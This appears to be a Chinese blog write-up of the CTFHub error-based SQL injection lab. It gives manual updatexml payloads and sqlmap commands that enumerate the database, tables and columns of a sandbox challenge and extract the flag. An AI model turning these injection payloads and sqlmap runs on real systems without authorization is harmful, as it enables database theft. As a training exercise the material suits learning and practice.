当前位置:   article > 正文

CTFHub 技能树之报错注入_ctfhub技能树报错注入

ctfhub技能树报错注入

手工注入

首先测试注入点

and1=1 ;'and 1=1 ;'and 1=2, ?id=2-1;一起加上测试
在这里插入图片描述
发现没有回显初步判断可能是报错注入或者是时间盲注或者布尔盲注;

假设为报错注入.

查询数据库
构造注入语句 : ?id=1 and updatexml(1,concat(’~’,(select database())),1)–
得到数据库名:sqli
在这里插入图片描述
查询数据表
构造注入语句:?id=1 and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’)),1)–+
得到数据表名 news和flag
在这里插入图片描述
查询列名
构造注入语句:?id=1 and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’)),1)–+
得到列名:flag

在这里插入图片描述
查询flag中的内容
构造注入语句:?id=1 and updatexml(1,concat(’~’,(select group_concat(flag) from flag)),1)–+
得到flag
在这里插入图片描述

用sqlmap来进行注入

sqlmap语句:python sqlmap.py -u http://challenge-f0b5f3329ce90bdc.sandbox.ctfhub.com:10080/?id=1 --batch判断是否有注入点
发现存在注入点 且注入类型可能为报错注入 和时间盲注
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210528104911112.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ3MjcxNjM4,size_16,color_FFFFFF,t_7在这里插入图片描述

查询数据库名
sqlmap 语句:python sqlmap.py -u http://challenge-f0b5f3329ce90bdc.sandbox.ctfhub.com:10080/?id=1 --dbs --batch
_
在这里插入图片描述
得到数据库名

查询数据表名
sqlmap语句:python sqlmap.py -u http://challenge-f0b5f3329ce90bdc.sandbox.ctfhub.com:10080/?id=1 -D sqli --tables --batch
在这里插入图片描述
查询列名
python sqlmap.py -u http://challenge-f0b5f3329ce90bdc.sandbox.ctfhub.com:10080/?id=1 -D sqli -T flag --columns --batch
在这里插入图片描述
得到flag列下面的flag
在这里插入图片描述
注:本人萌新,请多指教。以后也会不停更新自己学习到的内容。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/521065
推荐阅读
  

闽ICP备14008679号